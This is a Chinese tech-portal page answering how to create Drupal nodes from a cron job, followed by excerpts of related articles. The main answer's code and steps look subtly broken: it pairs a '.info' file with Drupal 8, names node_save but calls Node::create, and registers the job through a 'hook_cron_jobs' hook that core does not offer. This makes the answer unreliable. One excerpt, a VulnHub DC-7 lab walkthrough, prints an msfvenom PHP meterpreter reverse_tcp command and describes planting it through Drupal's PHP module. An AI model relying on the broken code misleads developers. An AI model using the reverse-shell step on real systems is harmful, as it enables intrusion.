首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在drupal中从cron作业创建节点?

在Drupal中,从cron作业创建节点可以通过编写自定义模块来实现。以下是一个简单的步骤:

  1. 创建自定义模块

在Drupal根目录下创建一个新的文件夹,命名为my_custom_module。在该文件夹中创建一个my_custom_module.info文件,用于描述模块信息。

my_custom_module.info文件内容如下:

代码语言:txt
复制
name = My Custom Module
type = module
description = A custom module to create nodes from cron jobs.
core = 8.x
  1. 创建cron作业

在my_custom_module文件夹中创建一个my_custom_module.cron.inc文件,用于定义cron作业。

my_custom_module.cron.inc文件内容如下:

代码语言:txt
复制
function my_custom_module_cron() {
  // 创建节点的代码
}
  1. 创建节点

在my_custom_module_cron函数中,使用node_save函数创建节点。

代码语言:txt
复制
function my_custom_module_cron() {
  $node = Node::create([
    'type' => 'article',
    'title' => 'My custom node',
    'body' => [
      'value' => 'This is a custom node created from a cron job.',
      'format' => 'basic_html',
    ],
  ]);
  $node->save();
}
  1. 注册cron作业

在my_custom_module.module文件中,使用hook_cron_jobs函数注册cron作业。

my_custom_module.module文件内容如下:

代码语言:txt
复制
function my_custom_module_cron_jobs() {
  $jobs['my_custom_module_cron'] = [
    'title' => t('My custom cron job'),
    'interval' => 3600,
  ];
  return $jobs;
}
  1. 安装并配置模块

将my_custom_module文件夹上传到Drupal根目录下的modules文件夹中,并在Drupal的模块管理页面中启用模块。

  1. 配置cron作业

在Drupal的cron作业页面中,配置cron作业的执行时间间隔,并启用cron作业。

完成以上步骤后,Drupal将根据配置的时间间隔执行cron作业,从而创建节点。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何使用Docker Compose安装Drupal

最后,我们将建立一个cron作业来更新我们的证书,以便我们的域保持安全。...一种方法是使用cron调度实用程序创建作业。 在这种情况下,我们将创建一个cron作业以定期运行脚本,该脚本将更新我们的证书并重新加载我们的Nginx配置。...这会将作业间隔设置为每五分钟一遍,因此我们可以测试我们的续订请求是否按预期进行。 我们还创建了一个日志文件cron.log ,以记录作业的相关输出。...现在,我们的cron作业将通过在合格时更新SSL证书来处理它们的过期时间。...作为此工作流程的一部分,我们获取了我们想要与Drupal站点关联的域的TLS / SSL证书,并创建cron作业以在必要时续订这些证书。

5.9K20

何在Linux可启动USB驱动器创建ISO?

是的,在这个简短的教程,我们将看到如何已经创建的可启动USB驱动器创建ISO。当您丢失实际的ISO镜像并想要创建其他可启动驱动器时,这将非常有用。...然后Dash或Menu打开GNOME Disks实用程序。 GNOME磁盘的默认接口如下所示。 ? 我已经有了Ubuntu 18.04的可启动USB驱动器。...选择可引导分区,从下拉列表中选择“创建分区镜像”选项。 ? 输入名称,然后选择保存ISO映像的位置。我将其保存在Documents文件夹。最后,单击“开始创建”图标。 ?...现在,GNOME Disks实用程序将开始可启动USB驱动器创建ISO镜像。 ? 一旦可启动USB创建进度完成,请找到保存它的位置并验证是否已创建ISO。 ?...创建整个驱动器镜像 上面的方法将创建包含ISO的分区镜像,您还可以创建整个USB磁盘的镜像。 为此,请NOME Disks接口中选择USB驱动器,然后单击右上角的三条水平线。

3.7K10

在Ubuntu或Debian上更新并保护Drupal 8

Drupal 8是流行的Drupal内容管理系统的最新版本。虽然版本8.1包含简单的增量更新功能,但所有先前版本都需要手动核心更新。本教程演示了如何在Linode上手动安装增量Drupal 8更新。...创建备份 备份现有文件并将存档移动到备份目录。...此过程也可以使用cron编写脚本并定期运行: cd /var/www/html/example.com/public_html sudo tar -cvzf example.com-BCKP-$(date...使用wget并粘贴第二步复制的链接地址下载新文件: cd /var/www/html/example.com wget https://ftp.drupal.org/files/projects/drupal...您可能需要先为此文件添加写入权限,然后才能对其进行编辑: chmod u + w /var/www/html/example.com/public_html/sites/default/services.yml 考虑Drupal

1.2K10

Drupal 默认安装的目录结构

文件夹目录的每一元素的详解如下: includes :包含了 Drupal 常用的函数库。 misc:用来存储 Drupal 安装可用的 JavaScript,和其它各种图标和图片文件。...scripts:包含了许多脚本,这些脚本可用于语法检查,代码清洁,从命令行运行 Drupal,使用 cron 处理特定情况等等。...你第 3 方模块库中下载的模块, 或者你自己编写的模块,都放在 sites/all/modules 下面。这使得你对 Drupal 所进行的任何修改都保存在单个文件夹里。...Drupal 安装器,将会基于你提供的信息来修改这些原始设置,并为你的站点创建一个 settings.php 文件。...themes:包含了Drupal的模板引擎和默认主题。你下载的或者创建的其它主题,不能放在这里;应该放在sites/all/ themes

2.1K20

用 Node.js 实现定时任务

Node.js Cron Jobs By Examples 我曾经想要在特定时间执行特定的操作,而无需亲自运行它们。 在本文中,我们将研究如何在 Node 程序创建和使用 Cron 作业。...为此我们将创建一个简单的程序,该应用程序会自动服务器删除自动生成的 error.log 文件。Cron 作业的另一个优点是,你可以安排程序以不同的时间间隔执行不同的脚本。 ?...在上面的示例,我们创建了一个简单的 Cron 作业,传递给 .schedule() 函数的参数为 * * * * *。...Cron Job自动删除错误文件 注意:要模拟本任务,可以通过在参数设置分钟数来将间隔设置为较短的时间 你可以在调度程序执行任何操作。创建文件到发送电子邮件和运行脚本的各种操作。...服务正在运行的Cron作业 ? 由Cron Job自动发送的电子邮件 总结 在本文中,我介绍了 Cron 作业以及如何在 Node.js 程序中使用。

5.7K10

VulnHub通关日记-DC_7-Walkthrough

:-) 下载地址:https://www.vulnhub.com/entry/dc-7,356/ 运用的知识 Github泄露网站数据库配置信息导致泄露SSH Drupal重置网站管理员密码 Drupal8...Drupal重置网站管理员密码 其中的 drush 我并不知道是什么命令,紧接着我去搜索了一波发现它是一个简化了创建和管理Drupal8网站的命令行工具。...Drupal-Getshell 登陆到后台之后,我是 Google 上找到了getshell的方法,先是 https://www.drupal.org/project/php 下载它的模块: ?...启用之后在Content 添加我们的脚本木马,添加脚本木马前先用 MSF 生成一个 PHP 的木马: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.128...最后添加我们的脚本代码到页面: ? ? (PS:如果失败了那么先设置为 PHP code,再把脚本代码放进去保存就可以了) 设置好之后成功反弹得到一枚 shell: ?

61210

Quartz.NET 配置文件详解

3. quartz.threadPool.threadPriority 设置作业每个线程的优先级,可取 System.Threading.ThreadPriority 的枚举。...3) 其他的没什么说的,因为以上配置是 Quartz 的标准配置,没有特殊要求是不需要修改的。所以,这里一带而过,以后有必要时再来研究它。 2....其中最重要的节点是 cron-expression 和 repeat-interval 节点,下面是每个节点的具体说明: 1. job 作业节点,每个作业则对应一个 job 节点。...1) name(必填)        作业名称,同一个 group 作业名称不能相同。 2) group(选填)       作业分组名称,表示该作业所属分组。...注意:该节点为必须,如果省略整个服务将不能正常运行! 3. 详解 cron-expression 节点 Ø 这个节点的设置相对复杂很多,因为所有的触发需求都是由该节点来控制,比如(未经测试): 1.

2K20

Nomad 系列-快速上手

当运行代理时,客户端可以被称为节点 (Node)。•server - 服务器端。Nomad 服务器管理所有作业和客户端,监视任务,并控制哪些任务被放置在哪些客户端节点上。...•job specification - 作业规范,也称为 jobspec,定义了 Nomad 作业的模式。它描述了作业的类型、作业运行所需的任务和资源、作业信息(作业可以在哪些客户端上运行)等。...•allocation - 分配是作业的任务组与客户端节点之间的映射。当运行作业时,Nomad 将选择能够运行它的客户端,并在机器上为作业定义的任务组的任务分配资源。...Nomad Workflow •创建 job spec - 作业规范包含应用程序所需的任务,包括工件驻留的位置、网络配置(端口和服务定义)、所需实例数量等等。...由于这是一个 cron batch job,您可以看到它每 3 秒创建一个新作业

51520

用 Groovy 解析 JSON 配置文件

演示的 JSON 配置文件 在这个演示,我 Drupal 截取了这个 JSON 文件,它是 Drupal CMS 使用的主要配置文件,并将其保存在文件 config.json : { "vm"...dev", "alias": ["www.drupal7.dev"] } } } } } 这是一个漂亮的、复杂的 JSON 文件,有几层结构,: .vdd.sites.drupal8...下面是一个简短的 Groovy 程序,名为 config1.groovy,它创建了一个 JsonSlurper 实例,然后调用其中的 parse() 方法来解析文件的 JSON,并将其转换名为 config...import groovy.json.JsonSlurper def jsonSlurper = new JsonSlurper() // 使用 parseText() 来解析一个字符串,而不是文件读取...眼尖的读者会注意到,我没有检查畸形的 JSON,也没有仔细确保用户的配置是有意义的(不创建新字段,提供合理的值,等等)。所以用这个递归方法来合并两个映射在现实可能并不那么实用。

3.7K50

用 Groovy 解析 JSON 配置文件

演示的 JSON 配置文件 在这个演示,我 Drupal 截取了这个 JSON 文件,它是 Drupal CMS 使用的主要配置文件,并将其保存在文件 config.json : { "vm"...dev", "alias": ["www.drupal7.dev"] } } } } } 这是一个漂亮的、复杂的 JSON 文件,有几层结构,: .vdd.sites.drupal8...下面是一个简短的 Groovy 程序,名为 config1.groovy,它创建了一个 JsonSlurper 实例,然后调用其中的 parse() 方法来解析文件的 JSON,并将其转换名为 config...import groovy.json.JsonSlurper def jsonSlurper = new JsonSlurper() // 使用 parseText() 来解析一个字符串,而不是文件读取...眼尖的读者会注意到,我没有检查畸形的 JSON,也没有仔细确保用户的配置是有意义的(不创建新字段,提供合理的值,等等)。所以用这个递归方法来合并两个映射在现实可能并不那么实用。

4K20

Kettle构建Hadoop ETL实践(七):定期自动执行ETL作业

操作系统一般都为用户提供调度作业的功能,Windows的“计划任务”和UNIX/Linux的cron系统服务。...-r:/var/spool/cron目录删除某个用户的crontab文件,如果不指定用户,则默认删除当前用户的crontab文件。...cron用户所在的主目录,使用shell调用需要执行的命令。...而SSH动作已经Oozie schema 0.2之后的版本移除了。 所有由动作节点触发的计算和处理任务都不在Oozie运行。它们是由Hadoop的MapReduce框架执行的。...图中可以看到节点的名称和类型,分别对应workflow.xml文件节点定义的属性和元素,Transition表示转向的节点,对应工作流定义文件“to”属性的值。

6K53

【Python】APScheduler简介

job stores作业存储: 存放被调度的 job 。默认的作业存储只是简单地将作业存储在内存,但也可以存储到各种数据库。...非默认的作业存储不会将作业数据保存到内存,相反,内存会作为后端存储介质在保存、加载、更新和搜索 job 过程的中间人。作业存储不会在调度器(scheduler)之间共享。...如果你总是再应用程序开始的时候重新创建你的作业,那么你适合用默认的选项(MemoryJobStore)。...移除 job 当 scheduler 移除一个 job 时,它会关联的 job store 中被移除,不再被执行。...在源码仓库包含了一个使用 RPyC 的示例。 我如何在 web 应用中使用 APScheduler 首先请看上一小节的内容。

2.6K20

用 Groovy 解析 JSON 配置文件

演示的 JSON 配置文件 在这个演示,我 Drupal 截取了这个 JSON 文件,它是 Drupal CMS 使用的主要配置文件,并将其保存在文件 config.json : { "vm"...下面是一个简短的 Groovy 程序,名为 config1.groovy,它创建了一个 JsonSlurper 实例,然后调用其中的 parse() 方法来解析文件的 JSON,并将其转换名为 config...import groovy.json.JsonSlurper def jsonSlurper = new JsonSlurper() // 使用 parseText() 来解析一个字符串,而不是文件读取...眼尖的读者会注意到,我没有检查畸形的 JSON,也没有仔细确保用户的配置是有意义的(不创建新字段,提供合理的值,等等)。所以用这个递归方法来合并两个映射在现实可能并不那么实用。...好吧,我必须为家庭作业留下 一些 东西,不是吗?

4.2K20

2022年rhce最新认证—(满分通过)

pw_developer 变量分配密码 是补充组 devops 的成员 职位描述为 manager 的用户应当: 在 prod 主机组的受管节点创建 pw_manager 变量分配密码...作业(增加) 配置 cron 作业 创建一个名为 /home/greg/ansible/cron.yml 的 playbook : 该 playbook 在 test 主机组的受管节点上运行...配置 cron 作业,该作业每隔 2 分钟运行并执行以下命令: logger "EX200 in progress",以用户 bob 身份运行 第一步 # 创建playbook [greg@control...作业(增加) 配置 cron 作业 创建一个名为 /home/greg/ansible/cron.yml 的 playbook : 该 playbook 在 test 主机组的受管节点上运行...配置 cron 作业,该作业每隔 2 分钟运行并执行以下命令: logger "EX200 in progress",以用户 bob 身份运行 第一步 # 创建playbook [greg@control

4K10

分布式作业 Elastic-Job-Lite 源码分析 —— 作业配置

作业调度器的创建可以配置四个参数: 注册中心( CoordinatorRegistryCenter ):用于协调分布式服务。必填。...croncron表达式,用于控制作业触发时间。必填。 shardingTotalCount:作业分片总数。...分片序列号和参数用等号分隔,多个键值对用逗号分隔 分片序列号0开始,不可大于或等于作业分片总数 : 0=a,1=b,2=c jobParameter:作业自定义参数。选填。...作业自定义参数,可通过传递该参数为作业调度的业务方法传参,用于实现带参数的作业 例:每次获取的数据量、作业实例数据库读取的主键等 failover:是否开启作业执行失效转移。...集群,使用作业配置服务( ConfigurationService ) 共享作业配置。

1.3K50

何在Linux系统中使用Cron指南

创建用户的Cron作业创建或编辑您的用户的crontab文件,请在终端中使用以下命令: crontab -e 这是用户创建和编辑cron作业的标准方式。...当执行时,它通过在为您的系统设置的默认文本编辑器(Vi、Nano或其他编辑器)打开用户的crontab文件,为运行该命令的用户编辑cron作业。...例如,让我们创建一个系统范围的cron作业,它将凌晨2:00/var/log/myservice目录删除所有扩展名为.log的文件。...编辑Cron作业 要编辑cron作业,与创建类似,请使用以下命令在默认编辑器打开当前用户的crontab文件: crontab -e 打开crontab文件时,导航到包含要编辑的cron作业的行,并根据需要修改计划或命令...0 15 * * 1-5 每天下午3点周一至周五运行一次Cron作业。 */5 * * * * 每5分钟运行一次Cron作业

13910

分布式做系统 Elastic-Job-Lite 源码分析 —— 作业初始化

Map jobInstanceMap = new ConcurrentHashMap(); /** * 运行作业集合 * key...(false); } 《Elastic-Job 源码分析 —— 作业配置》的「3.2 持久化作业配置」,调用 ConfigService#persist(…) 方法也不一定会更新作业配置,因此调用 ConfigService...createTrigger(final String cron) {} // 创建触发器 public synchronized boolean isPaused() {} // 判断作业是否暂停 public...选举主节点,在《Elastic-Job-Lite 源码解析 —— 主节点选举》详细分享。 调用 ServerService#persistOnline() 方法,持久化作业服务器上线信息。...().getCron()); } // JobScheduleController.java /** * 调度作业. * * @param cron CRON表达式 */ public void scheduleJob

52430

在Ubuntu 18.04上安装Chef服务器工作站

[Chef架构示意图] 本指南介绍了如何在各个Linode(VPS服务提供商)主机上创建和配置Chef服务器,虚拟工作站以及如何通过引导节点来运行chef客户端。...Chef工作站 在Chef工作站,您可以创建和配置任意的“菜谱”、“烹饪手册”、属性和其他更改,这些对于工作站来说都是有效的。...您的工作站进入到~/chef-repo/.chef目录: cd ~/chef-repo/.chef 下载cookbook及其依赖项: knife cookbook site install cron-delvalidate...,它的含义是每隔一小时(*/1含义是每小时而不是每天凌晨1点),执行一次chef-client(/usr/bin/chef-client)命令,action对应的create标识创建一个新的定时作业。...运行列表的配方cookbook时,节点将会服务器拉取对应程序并运行。在这种情况下,这种食谱一般都是含有cron-delvalidate定时作业的。

2.1K30

在CentOS 7上安装Magento

Install Magento on CentOS 7 译者微博:@流域到海域 译者博客:blog.csdn.net/solo95 在CentOS 7上安装Magento 在这篇教程,您将学习如何在...在本节,我们将解释如何设置cron作业并确保Magento软件适用于实时电子商务站点。...设置Cron Jobs Magento依靠cron来执行诸如不断重新编制站点索引以及生成电子邮件和新闻简报等任务。如果您登录管理面板,您可能已经注意到一条错误消息,指出需要设置cron作业。...如果消息仍然存在,请在重新登录前等待几分钟,以便cron作业有时间在系统上生效。 有关为开发服务器和自定义Magento模块设置cron作业的更多信息,请参阅Magento Cron文档。...实际上,一些支付供应商(PayPal)需要SSL证书才能用于客户交易。 有关如何在商店中使用SSL证书的说明,请参阅有关获取商业签名SSL证书和使用Apache 证书的教程。

14K60

在本地安装 Matomo

本页说明如何在您的网络服务器上安装 Matomo 并开始跟踪您的站点网络分析。...否则,请按照下列步骤操作: 将 zip 文件解压缩到硬盘驱动器上的文件夹。这将创建一个包含文件和目录的“matomo”文件夹。...(如果您没有看到欢迎屏幕,请同时检查您的 Web 服务器( Apache、Nginx 或 IIS)是否已配置并正常工作)。如果在安装过程中出现任何问题,Matomo 将识别它们并帮助您解决问题。...安全说明:为了增加安全性,我们建议您在自己的 MySQL 数据库安装 Matomo,并为只能访问该数据库的用户指定用户名和密码。单击此处查看有关如何创建新数据库和 MySQL 用户的详细说明。...Matomo 时创建的用户。

2.8K20
领券